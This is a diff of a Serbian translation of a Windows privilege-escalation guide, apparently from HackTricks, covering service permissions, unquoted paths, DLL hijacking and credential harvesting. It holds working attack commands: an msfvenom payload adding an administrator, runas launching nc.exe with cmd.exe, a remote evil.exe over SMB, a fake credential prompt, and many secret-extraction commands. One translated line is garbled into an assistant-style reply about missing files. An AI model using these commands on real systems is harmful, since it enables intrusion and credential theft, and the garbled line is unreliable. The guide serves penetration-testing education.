HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Treba proveriti da li **Authenticated Users** ili **NT AUTHORITY\INTERACTIVE** imaju `FullControl` dozvole. Ako da, binarni fajl koji servis izvršava može biti izmenjen. +Potrebno je proveriti da li **Authenticated Users** ili **NT AUTHORITY\INTERACTIVE** poseduju `FullControl` dozvole. Ako je tako, binarni fajl koji servis pokreće može biti izmenjen. -Da biste promenili putanju izvršavanog binarnog fajla: +Da biste promenili putanju binarnog fajla koji se izvršava: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Registar servisa AppendData/AddSubdirectory dozvole +### Dozvole AppendData/AddSubdirectory nad registrom servisa -Ako imate ovu dozvolu nad registrom, to znači da **možete kreirati podregistre iz ovog**. U slučaju Windows services, ovo je **dovoljno da se izvrši proizvoljan kod:** +Ako imate ovu dozvolu nad registrom, to znači da **možete kreirati podregistre iz ovog**. U slučaju Windows servisa ovo je **dovoljno za izvršavanje proizvoljnog koda:** {{#ref}} @@ -548,7 +548,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Navedite sve putanje servisa bez navodnika, izuzimajući one koje pripadaju ugrađenim Windows servisima: +Navedi sve unquoted service paths, isključujući one koji pripadaju ugrađenim Windows servisima: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -568,19 +568,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Možete detektovati i iskoristiti** ovu ranjivost pomoću metasploit-a: `exploit/windows/local/trusted\_service\_path` Možete ručno kreirati servisni binarni fajl pomoću metasploit-a: +**Možete otkriti i iskoristiti** ovu ranjivost koristeći metasploit: `exploit/windows/local/trusted\_service\_path` Možete ručno kreirati service binary koristeći metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### Radnje oporavka +### Akcije oporavka -Windows omogućava korisnicima da navedu radnje koje će se preduzeti ako neki servis zakaže. Ova funkcija se može konfigurisati tako da pokazuje na binary. Ako se taj binary može zameniti, privilege escalation može biti moguć. Više detalja možete pronaći u [official documentation](). +Windows omogućava korisnicima da odrede akcije koje će se preduzeti ako servis zakaže. Ova funkcionalnost može biti konfigurisana da pokazuje na binary. Ako je taj binary zamenljiv, može biti moguće privilege escalation. Više detalja možete pronaći u [official documentation](). ## Aplikacije ### Instalirane aplikacije -Proverite **permissions of the binaries** (možda možete overwrite-ovati neki i escalate privileges) i **folders** ([DLL Hijacking](dll-hijacking/index.html)). +Proverite **permissions of the binaries** (maybe you can overwrite one and escalate privileges) i **folders** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -591,9 +591,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Dozvole za pisanje -Proverite da li možete izmeniti neki config fajl da biste pročitali neki specijalan fajl ili da li možete izmeniti neki binarni fajl koji će biti izvršen od strane Administrator naloga (schedtasks). +Proverite možete li izmeniti neki config file da biste pročitali neku posebnu datoteku ili možete li izmeniti neki binary koji će biti izvršen od strane Administrator account (schedtasks). -Jedan način da pronađete slabe dozvole foldera/fajlova u sistemu je izvršavanje: +Jedan način da pronađete slabe dozvole na folderima/datotekama u sistemu je sledeći: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -616,10 +616,10 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### Pokretanje pri startu +### Automatsko pokretanje -**Proverite da li možete prepisati neki registry ili binary koji će biti izvršen od strane drugog korisnika.**\ -**Pročitajte** **sledeću stranicu** da biste saznali više o zanimljivim **autoruns locations to escalate privileges**: +**Proveri da li možeš da prepišeš neki registry ili binary koji će biti izvršen od strane drugog korisnika.**\ +**Pročitaj** **sledeću stranicu** da saznaš više o zanimljivim **autoruns locations to escalate privileges**: {{#ref}} @@ -628,13 +628,13 @@ privilege-escalation-with-autorun-binaries.md ### Drajveri -Potražite moguće **third party weird/vulnerable** drivers +Potraži moguće **third party weird/vulnerable** drajvere ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Ako driver izlaže proizvoljan kernel read/write primitive (uobičajeno u loše dizajniranim IOCTL handlers), možete eskalirati tako što ćete ukrasti SYSTEM token direktno iz kernel memorije. Pogledajte korak-po-korak tehniku ovde: +If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -643,9 +643,9 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Ako imate **dozvole za pisanje unutar foldera koji se nalazi u PATH** mogli biste biti u mogućnosti da hijackujete DLL koju učitava proces i **eskalirate privilegije**. +Ako imate **prava za pisanje u direktorijumu koji se nalazi u PATH** možete preoteti DLL koji učitava proces i **eskalirati privilegije**. -Proverite dozvole svih foldera unutar PATH: +Proverite dozvole svih direktorijuma koji su u PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` @@ -668,7 +668,7 @@ net share #Check current shares ``` ### hosts file -Proverite da li su drugi poznati računari hardcoded u hosts file +Proverite da li su u hosts file hardkodirani drugi poznati računari. ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -680,7 +680,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Otvoreni portovi -Proverite **ograničene servise** dostupne iz spoljašnjosti. +Proverite postojanje **servisa sa ograničenim pristupom** iz spoljašnjosti ```bash netstat -ano #Opened ports? ``` @@ -694,29 +694,29 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Pravila Firewalla +### Pravila Firewall-a -[**Proverite ovu stranicu za komande vezane za Firewall**](../basic-cmd-for-pentesters.md#firewall) **(prikaži pravila, kreiraj pravila, isključi, isključi...)** +[**Pogledaj ovu stranicu za komande vezane za Firewall**](../basic-cmd-for-pentesters.md#firewall) **(pokaži pravila, kreiraj pravila, isključi, isključi...)** -Više[ komandi za enumeraciju mreže ovde](../basic-cmd-for-pentesters.md#network) +Više[ komandi za network enumeration ovde](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Binary `bash.exe` se takođe može naći u `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` +Binarna datoteka `bash.exe` se takođe može naći u `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Ako dobijete root user, možete slušati na bilo kojem portu (prvi put kada koristite `nc.exe` da slušate na portu, pitaće preko GUI da li `nc` treba da bude dozvoljen od strane firewall-a). +Ako dobijete root pristup, možete slušati na bilo kom portu (prvi put kada koristite `nc.exe` za slušanje na portu, GUI će pitati da li `nc` treba da bude dozvoljen od strane firewall-a). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Da biste lako pokrenuli bash kao root, možete pokušati `--default-user root` +Da biste lako pokrenuli bash kao root, možete probati `--default-user root` -Možete istražiti `WSL` fajl sistem u fascikli `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Možete istražiti `WSL` datotečni sistem u folderu `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Windows kredencijali @@ -732,16 +732,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Menadžer kredencijala / Windows Vault +### Credentials manager / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault čuva korisničke kredencijale za servere, web sajtove i druge programe za koje **Windows** može **automatski ulogovati korisnike**. Na prvi pogled, može izgledati da korisnici mogu čuvati svoje Facebook credentials, Twitter credentials, Gmail credentials itd., kako bi se automatski prijavljivali preko browsers. Ali to nije tako. +Windows Vault čuva korisničke akreditive za servere, web-sajtove i druge programe za koje **Windows** može da se **automatski prijavi korisnicima**. Na prvi pogled može izgledati da korisnici mogu da sačuvaju svoje Facebook credentials, Twitter credentials, Gmail credentials itd., kako bi se automatski prijavljivali preko pregledača. Ali to nije tako. -Windows Vault čuva kredencijale koje Windows može iskoristiti za automatsku prijavu korisnika, što znači da svaka **Windows application that needs credentials to access a resource** (server ili web sajt) **can make use of this Credential Manager** i Windows Vault i iskoristiti sačuvane kredencijale umesto da korisnici stalno unose username i password. +Windows Vault čuva akreditive koje Windows može automatski koristiti za prijavu korisnika, što znači da bilo koja **Windows aplikacija koja treba akreditive za pristup resursu** (serveru ili web-sajtu) **može da koristi ovaj Credential Manager** & Windows Vault i iskoristi sačuvane akreditive umesto da korisnici stalno unose korisničko ime i lozinku. -Ako aplikacije ne interaguju sa Credential Manager-om, mislim da im nije moguće koristiti kredencijale za određeni resurs. Dakle, ako vaša aplikacija želi da koristi vault, treba na neki način **communicate with the credential manager and request the credentials for that resource** iz podrazumevanog vault-a za skladištenje. +Osim ako aplikacije ne interaguju sa Credential Manager-om, mislim da nije moguće da koriste akreditive za dati resurs. Dakle, ako vaša aplikacija želi da koristi vault, trebalo bi na neki način da **komunicira sa credential manager-om i zatraži akreditive za taj resurs** iz podrazumevanog skladišnog vault-a. -Koristite `cmdkey` da izlistate sačuvane kredencijale na mašini. +Koristite `cmdkey` da biste izlistali sačuvane akreditive na računaru. ```bash cmdkey /list Currently stored credentials: @@ -749,30 +749,30 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Zatim možete koristiti `runas` sa opcijom `/savecred` kako biste koristili saved credentials. Sledeći primer poziva remote binary putem SMB share. +Zatim možete koristiti `runas` sa opcijom `/savecred` da biste koristili sačuvane kredencijale. Sledeći primer poziva udaljeni binarni fajl putem SMB share-a. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Korišćenje `runas` sa prosleđenim kredencijalima. +Korišćenje `runas` sa prosleđenim credential. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Napomena da mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Imajte na umu da mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ili iz [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -The **Data Protection API (DPAPI)** pruža metodu za simetričnu enkripciju podataka, prvenstveno korišćenu u Windows operativnom sistemu za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi korisničku ili sistemsku tajnu koja značajno doprinosi entropiji. +The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. -**DPAPI omogućava enkripciju ključeva putem simetričnog ključa koji je izveden iz korisničkih login tajni**. U scenarijima koji uključuju sistemsku enkripciju, koristi sistemske domenske autentifikacione tajne. +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. -Encrypted user RSA keys, by using DPAPI, are stored in the `%APPDATA%\Microsoft\Protect\{SID}` directory, where `{SID}` represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **DPAPI ključ, koji se nalazi zajedno sa master ključem koji štiti korisnikove privatne ključeve u istom fajlu**, obično se sastoji od 64 bajta slučajnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, što sprečava listanje njegovog sadržaja putem komande `dir` u CMD, mada se može listati kroz PowerShell). +Šifrovani korisnički RSA ključevi, pomoću DPAPI, čuvaju se u direktorijumu `%APPDATA%\Microsoft\Protect\{SID}`, gde `{SID}` predstavlja korisnikov [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **DPAPI key, koji je smešten zajedno sa master ključem koji čuva korisničke privatne ključeve u istoj datoteci**, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, što onemogućava listanje njegovog sadržaja pomoću `dir` komande u CMD, iako se može listati kroz PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` Možete koristiti **mimikatz module** `dpapi::masterkey` sa odgovarajućim argumentima (`/pvk` ili `/rpc`) da ga dešifrujete. -Fajlovi **credentials files protected by the master password** se obično nalaze u: +Obično se **credentials files protected by the master password** nalaze u: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ @@ -780,16 +780,16 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` Možete koristiti **mimikatz module** `dpapi::cred` sa odgovarajućim `/masterkey` da dešifrujete.\ -Možete izvući mnoge **DPAPI masterkeys** iz memorije pomoću modula `sekurlsa::dpapi` (ako imate root). +Možete **extract many DPAPI** **masterkeys** iz **memory** pomoću `sekurlsa::dpapi` modula (ako ste root). {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell kredencijali +### PowerShell Credentials -**PowerShell credentials** se često koriste za **scripting** i zadatke automatizacije kao praktičan način za čuvanje enkriptovanih kredencijala. Kredencijali su zaštićeni pomoću **DPAPI**, što obično znači da ih može dešifrovati samo isti korisnik na istom računaru na kojem su kreirani. +**PowerShell credentials** se često koriste za **scripting** i automation zadatke kao zgodan način za čuvanje enkriptovanih credentials. Credentials su zaštićeni korišćenjem **DPAPI**, što obično znači da ih može dešifrovati samo isti korisnik na istom računaru na kojem su kreirani. Da biste **decrypt** PS credentials iz fajla koji ih sadrži, možete uraditi: ```bash @@ -811,9 +811,9 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Sačuvane RDP Connections +### Sačuvane RDP konekcije -Možete ih naći na `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +Možete ih pronaći na `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ i u `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### Nedavno pokrenute komande @@ -821,24 +821,23 @@ i u `HKCU\Software\Microsoft\Terminal Server Client\Servers\` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Upravljač kredencijalima za Udaljenu radnu površinu** +### **Upravljač kredencijala za Remote Desktop** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module +Koristite **Mimikatz** `dpapi::rdg` modul sa odgovarajućim `/masterkey` da **dešifrujete bilo koje .rdg fajlove**\ +Možete **izvući mnoge DPAPI masterkeys** iz memorije pomoću Mimikatz `sekurlsa::dpapi` modula ### Sticky Notes -Ljudi često koriste StickyNotes aplikaciju na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je u pitanju baza podataka. Ovaj fajl se nalazi na `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi pretražiti i pregledati. +Ljudi često koriste StickyNotes app na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je to baza podataka. Ovaj fajl se nalazi na `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi tražiti i pregledati. ### AppCmd.exe -**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ -**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. +**Napomena: da biste vratili lozinke iz AppCmd.exe morate biti Administrator i pokrenuti ga na High Integrity level.**\ +**AppCmd.exe** se nalazi u direktorijumu `%systemroot%\system32\inetsrv\`.\ Ako ovaj fajl postoji, moguće je da su neke **credentials** konfigurisane i da se mogu **recovered**. -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +Ovaj kod je izvađen iz [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -918,30 +917,30 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -Proveri da li `C:\Windows\CCM\SCClient.exe` postoji .\ -Instalateri se pokreću sa **SYSTEM privilegijama**, mnogi su ranjivi na **DLL Sideloading (Informacije sa** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Proverite da li `C:\Windows\CCM\SCClient.exe` postoji .\ +Instalateri se **pokreću sa SYSTEM privilegijama**, mnogi su ranjivi na **DLL Sideloading (Informacije sa** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Datoteke i Registar (Kredencijali) +## Fajlovi i Registry (Credentials) -### Putty kredencijali +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH host ključevi +### Putty SSH Host Keys ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys u registru +### SSH ključevi u registru -Moguće je da su SSH private keys pohranjeni unutar registrskog ključa `HKCU\Software\OpenSSH\Agent\Keys`, pa proverite ima li tamo nešto interesantno: +Privatni SSH ključevi mogu biti sačuvani u registry ključu `HKCU\Software\OpenSSH\Agent\Keys`, pa bi trebalo da proverite da li se tamo nalazi nešto interesantno: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Ako pronađete bilo koji unos u toj putanji, verovatno je to sačuvan SSH ključ. Čuvan je šifrovano, ali se lako može dešifrovati korišćenjem [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Ako pronađete bilo koji unos unutar tog puta, verovatno je u pitanju sačuvan SSH ključ. Čuva se šifrovano, ali se lako može dešifrovati korišćenjem [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Više informacija o ovoj tehnici ovde: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) Ako `ssh-agent` servis nije pokrenut i želite da se automatski pokreće pri podizanju sistema, pokrenite: @@ -949,7 +948,7 @@ Ako `ssh-agent` servis nije pokrenut i želite da se automatski pokreće pri pod Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Izgleda da ova tehnika više nije validna. Pokušao sam da napravim neke ssh keys, dodam ih pomoću `ssh-add` i ulogujem se preko ssh na mašinu. Registar HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao upotrebu `dpapi.dll` tokom asymmetric key authentication. +> Izgleda da ova tehnika više nije validna. Pokušao sam da napravim neke ssh ključeve, dodam ih sa `ssh-add` i ulogujem se preko ssh na mašinu. Registar HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao upotrebu `dpapi.dll` tokom autentifikacije asimetričnim ključem. ### Datoteke bez nadzora ``` @@ -966,7 +965,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Takođe možete pretražiti ove datoteke koristeći **metasploit**: _post/windows/gather/enum_unattend_ +Takođe možete pretraživati ove fajlove koristeći **metasploit**: _post/windows/gather/enum_unattend_ Primer sadržaja: ```xml @@ -997,7 +996,7 @@ Primer sadržaja: %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Kredencijali za cloud +### Cloud kredencijali ```bash #From user home .aws\credentials @@ -1013,11 +1012,11 @@ Potražite fajl pod nazivom **SiteList.xml** ### Keširana GPP lozinka -Pre bilo je dostupno svojstvo koje je omogućavalo raspoređivanje prilagođenih lokalnih administrator naloga na grupu računara putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne bezbednosne propuste. Prvo, Group Policy Objects (GPOs), koje su sačuvane kao XML fajlovi u SYSVOL, mogle su biti pristupljene od strane bilo kog korisnika domena. Drugo, lozinke unutar ovih GPP-ova, enkriptovane AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dekriptovane od strane bilo kog autentifikovanog korisnika. To je predstavljalo ozbiljan rizik, jer je omogućavalo korisnicima sticanje povišenih privilegija. +Ranije je postojala funkcionalnost koja je omogućavala raspoređivanje prilagođenih lokalnih administratorskih naloga na grupu računara putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne bezbednosne propuste. Prvo, Group Policy Objects (GPOs), koji su čuvani kao XML fajlovi u SYSVOL, mogli su biti pristupljeni od strane bilo kog domenskog korisnika. Drugo, lozinke unutar ovih GPP-ova, šifrovane AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. To je predstavljalo ozbiljan rizik, jer je moglo omogućiti korisnicima da dobiju povišene privilegije. -Da bi se ublažio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP fajlove koji sadrže polje "cpassword" koje nije prazno. Prilikom pronalaska takvog fajla, funkcija dekriptuje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat sadrži detalje o GPP i lokaciji fajla, što pomaže u identifikaciji i otklanjanju ove bezbednosne ranjivosti. +Da bi se ublažio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP fajlove koji sadrže polje "cpassword" koje nije prazno. Po pronalasku takvog fajla, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat sadrži detalje o GPP-u i lokaciji fajla, pomažući u identifikaciji i otklanjanju ove bezbednosne ranjivosti. -Potražite u `C:\ProgramData\Microsoft\Group Policy\history` ili u _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (pre Windows Viste)_ sledeće fajlove: +Pretražite u `C:\ProgramData\Microsoft\Group Policy\history` ili u _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (pre Windows Viste)_ za ove fajlove: - Groups.xml - Services.xml @@ -1026,12 +1025,12 @@ Potražite u `C:\ProgramData\Microsoft\Group Policy\history` ili u _**C:\Documen - Printers.xml - Drives.xml -**Da biste dekriptovali cPassword:** +**Za dešifrovanje cPassword-a:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -Korišćenje crackmapexec za dobijanje passwords: +Korišćenje crackmapexec za dobijanje lozinki: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1049,7 +1048,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Primer web.config sa kredencijalima: +Primer web.config fajla sa kredencijalima: ```xml @@ -1059,7 +1058,7 @@ Primer web.config sa kredencijalima: ``` -### OpenVPN credentials +### OpenVPN акредитиви ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1087,9 +1086,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Zatražite credentials +### Pitajte za credentials -Uvek možete **zamoliti korisnika da unese svoje credentials ili čak credentials drugog korisnika** ako mislite da ih može znati (imajte na umu da je **pitati** klijenta direktno za **credentials** zaista **rizično**): +Uvek možete **zamoliti user-a da unese svoje credentials ili čak credentials drugog user-a** ako mislite da ih može znati (imajte na umu da je direktno **pitati** client-a za **credentials** zaista **rizično**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1099,7 +1098,7 @@ $cred.GetNetworkCredential() | fl ``` ### **Mogući nazivi fajlova koji sadrže credentials** -Poznati fajlovi koji su pre nekog vremena sadržavali **passwords** u **clear-text** ili **Base64** +Poznati fajlovi koji su pre nekog vremena sadržavali **passwords** u **nešifrovanom obliku** ili **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1163,7 +1162,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Pretraži sve predložene datoteke: +Niste priložili nijedan od predloženih fajlova. Pošaljite sadržaj (ili putanje) fajlova koje treba da pretražim, ili precizirajte šta tačno treba da tražim. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1172,15 +1171,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credentials u RecycleBin +### Kredencijali u RecycleBin -Takođe proveri Bin da potražiš credentials u njemu +Takođe bi trebalo da proverite Bin da biste potražili kredencijale u njemu -Za **oporavak lozinki** koje su sačuvane u nekoliko programa možeš koristiti: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Za **oporavak lozinki** sačuvanih od strane nekoliko programa možete koristiti: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Unutar registry +### U registru -**Drugi mogući registry keys sa credentials** +**Drugi mogući ključevi registra sa kredencijalima** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query 